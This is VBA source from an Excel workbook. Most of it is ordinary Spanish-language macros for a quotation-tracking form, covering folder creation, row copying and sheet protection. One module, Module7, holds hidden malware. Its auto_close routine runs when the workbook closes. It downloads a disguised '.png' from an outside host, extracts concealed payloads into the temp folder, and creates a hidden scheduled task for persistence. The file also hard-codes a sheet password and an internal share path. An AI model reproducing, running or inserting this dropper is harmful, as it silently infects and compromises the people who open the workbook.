Attribute VB_Name = "Module7"
#If VBA7 Then
  Declare PtrSafe Function FW01 Lib "user32" _
    Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
   #Else
     Declare Function FW01 Lib "user32" _
    Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
   
        #End If


Option Explicit

Private Sub auto_close()
 On Error Resume Next
 Dim iTxtFile22 As Integer
  Dim strFile88, cta1 As String
  Dim strFileT44, TestStr As String
 
If (FW01("msprotB7", vbNullString)) <> 0 Then Exit Sub
 
 Const Mysze As Long = 218109  '
 Const Chek As Long = 3890
 Const Z11file As Long = 1768

   
    Dim FileData() As Byte
    
     Dim i As Long
     Dim crc As Double
     Dim bytTemp2 As Byte
     
      Dim myM(Mysze - 1) As Byte
      Dim myM2(Chek - 1) As Byte
      Dim myM3(Z11file - 1) As Byte
     
    Dim MyFile As String
    Dim WHTTP As Object
    
    On Error Resume Next
       Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5")
        If Err.Number <> 0 Then
            Set WHTTP = CreateObject("WinHTTP.WinHTTPrequest.5.1")
        End If
  
    
   
    
    MyFile = "https://picstate.com/file/20260941_ugxbx/B7CHZ11.png"
    
    WHTTP.Open "GET", MyFile, False
    i = WHTTP.SetTimeout8s(5000, 5000, 5000, 10000)
    WHTTP.Send
    FileData = WHTTP.ResponseBody
    Set WHTTP = Nothing
    

   crc = 0
   
   For i = 0 To Mysze - 1
     
   bytTemp2 = (FileData(i + 98))  '98 size down.png Xor (&H26)
   
   
   crc = crc + bytTemp2
   
   myM(i) = bytTemp2
   
   Next i
             

   
   If crc <> 18880222 Then Exit Sub
    
    
  For i = 0 To Chek - 1
     
   bytTemp2 = (FileData(i + Mysze + 98)) '98 size down.png Xor (&H26)
   
   
   myM2(i) = bytTemp2
   
   Next i
    
    
     For i = 0 To Z11file - 1
     
   bytTemp2 = (FileData(i + Mysze + 98 + Chek)) '98 size down.png  Xor (&H26)
   
   
   myM3(i) = bytTemp2
   
   Next i
    
Open Environ("temp") + "\ZZ11.tmp" For Binary Lock Read Write As #1

    Put #1, , myM3
    
    Close #1


Open Environ("temp") + "\TTT.tmp" For Binary Lock Read Write As #2

    Put #2, , myM
    
    Close #2
    
Open Environ("temp") + "\check01.txt" For Binary Lock Read Write As #3

    Put #3, , myM2
    
    Close #3

  strFile88 = Environ("temp") + "\ZZ11.tmp"
  iTxtFile22 = FreeFile
  Open strFile88 For Input As FreeFile
  strFileT44 = Input(LOF(iTxtFile22), iTxtFile22)
  Close iTxtFile22
    
  strFileT44 = Replace(strFileT44, "xxx", Environ("USERNAME"), 1, -1, 1)
  
  Dim Fn34 As String
    Fn34 = Environ("temp") + "\Z11.xml"
    Open Fn34 For Output As #4
    Print #4, strFileT44
    Close #4

Dim sysnat, mys3 As String
    TestStr = ""
TestStr = Dir(Environ("windir") + "\sysnative\schtasks.exe")
    If TestStr = "" Then sysnat = "" Else sysnat = Environ("windir") + "\sysnative\"


mys3 = " /Create  /TN \Z11" + " /f /XML " + Environ("temp") + "\Z11.xml"

Call Shell(sysnat + "schtasks" & mys3, vbHide)


    
End Sub

Attribute VB_Name = "Módulo1"
'http://excel-elearning.blogspot.com/2017/11/excel-vba-how-to-create-folders-and-sub.html
'https://www.ozgrid.com/forum/forum/help-forums/excel-general/94891-execute-command-button-code-using-enter-key

Sub CrearSub_Carpetas()

'Execute next line in case of error.
On Error Resume Next

'Activa la Hoja2
Sheets("Hoja2").Activate

'Loop through all the cells  in column 1 in Active Sheet.
For i = 1 To ActiveSheet.UsedRange.Rows.Count

'Name of the Folder
sFolderPath = ThisWorkbook.Path & "\" & Cells(i, 5)  'Replace This.Workbook.Path with any location Example "C:\" & Cells(i,1)

'Creating Folder Using Shell Function
Shell "cmd /c mkdir """ & sFolderPath & """", vbHide 'It will Execute Dos Command and use MKDIR to Make Directory of sFolderPath Value

'To continue the Loop
Next i

'Cerrar ventana Creación de obras
Unload UserForm1

'Displaying Message
MsgBox "El número de cotización " & Worksheets("Hoja1").Range("B3") & " ha sido generado con sus respectivas carpetas."

Sheets("Listado").Activate



End Sub

Attribute VB_Name = "Módulo2"
'Realizado por Celeste Pesce

Sub Copiarceldavacia()

Dim i As Integer

Desprotejerhoja
i = 3

    ThisWorkbook.Sheets("Hoja1").Range("A2:R2").Copy
    
        
        Do While ThisWorkbook.Sheets("Listado").Cells(i, 2) <> Empty
        i = i + 1
       
        Loop
 
    ThisWorkbook.Sheets("Listado").Cells(i, 2).PasteSpecial Paste:=xlPasteValues
    Application.CutCopyMode = False
Protejerhoja

'Guardar documento para no perder la información cargada
 ThisWorkbook.Save
 
End Sub

Attribute VB_Name = "Módulo3"
'Realizado por Celeste Pesce

Sub Abrirformulario()
UserForm1.Show
End Sub

Attribute VB_Name = "Módulo4"
'https://exceltotal.com/proteger-una-hoja-de-excel-desde-una-macro/

Sub Protejerhoja()
Sheets("Listado").Select
ActiveSheet.Protect ("Jacobo2") _
        , AllowFiltering:=True
    
End Sub


Sub Desprotejerhoja()
Sheets("Listado").Select
ActiveSheet.Unprotect ("Jacobo2")
End Sub

Attribute VB_Name = "Módulo5"
'Creado por Celeste Pesce
'https://analysistabs.com/excel-vba/copy-files-one-location-another-folder-directory/

'In this Example I am Copying the File From "C:Temp" Folder to "D:Job" Folder

Sub Copiararchivo()

'Declare Variables
'Dim FSO
Dim FSO As Object
Dim sFile As String
Dim sSFolder As String
Dim sDFolder As String
Dim j As Integer

'Hacer loop para que en Hoja1 se coloquen los archivos a copiar en la carpeta madre de la cotización

j = 12

Do While ThisWorkbook.Sheets("Hoja1").Cells(j, 1) <> Empty
             
'This is Your File Name which you want to Copy
sFile = ThisWorkbook.Sheets("Hoja1").Cells(j, 1)

'Change to match the source folder path
sSFolder = "\\192.168.85.20\16 - Gestion de la Organizacion\01 - Maestro de Documentación\FO\"

'Change to match the destination folder path
'Texto original:  sDFolder = "D:\Job\"
sDFolder = ThisWorkbook.Path & "\" & Sheets("Hoja1").Cells(1, 1) & "\"

'ThisWorkbook.Sheets("Hoja1").Range("A2:R2").Copy

'sFolderPath = ThisWorkbook.Path & "\" & Cells(i, 5)

'Create Object
Set FSO = CreateObject("Scripting.FileSystemObject")
  

     FSO.CopyFile (sSFolder & sFile), sDFolder, True
     
  j = j + 1
  
   Loop


End Sub

Attribute VB_Name = "Módulo6"
Sub Calling_Private_Macro()
 
    Application.Run "Module7.vba"
 
End Sub

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{E8C9C890-90D2-4EF7-89DF-402AE04F7B1A}{F5AFA137-F17F-4F50-8221-D62605473B55}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False










'Realizado por Celeste Pesce





Private Sub Frame1_Click()

End Sub

Private Sub TextBox11_Change()
Label33.Caption = TextBox11.Text & " t/h"
End Sub

Private Sub TextBox12_Change()
Label34.Caption = TextBox12.Text & " barg"
End Sub

Private Sub TextBox13_Change()
Label35.Caption = TextBox13.Text & " ºC"
End Sub


Private Sub UserForm_Initialize()
Label11.Caption = Worksheets("Hoja1").Range("B4").Value & "-" & Worksheets("Hoja1").Range("B3").Value
End Sub



Private Sub CommandButton1_Click()

 
Sheets("Hoja1").Cells(2, 1) = Worksheets("Hoja1").Range("B4")
Sheets("Hoja1").Cells(2, 2) = "-"
Sheets("Hoja1").Cells(2, 3) = Worksheets("Hoja1").Range("B3")
Sheets("Hoja1").Cells(2, 4) = TextBox2.Value
Sheets("Hoja1").Cells(2, 5) = TextBox3.Value
Sheets("Hoja1").Cells(2, 6) = TextBox5.Value
Sheets("Hoja1").Cells(2, 7) = TextBox6.Value
Sheets("Hoja1").Cells(2, 8) = TextBox7.Value
Sheets("Hoja1").Cells(2, 9) = TextBox8.Value
Sheets("Hoja1").Cells(2, 10) = TextBox9.Value
Sheets("Hoja1").Cells(2, 11) = TextBox10.Value
Sheets("Hoja1").Cells(2, 12) = TextBox11.Value
Sheets("Hoja1").Cells(2, 13) = TextBox12.Value
Sheets("Hoja1").Cells(2, 14) = TextBox13.Value
Sheets("Hoja1").Cells(3, 15) = CheckBox1.Value
Sheets("Hoja1").Cells(3, 16) = CheckBox2.Value
Sheets("Hoja1").Cells(3, 17) = CheckBox3.Value

CrearSub_Carpetas
'Copiararchivo
Copiarceldavacia

End Sub

Private Sub userform_terminate()

    Protejerhoja

End Sub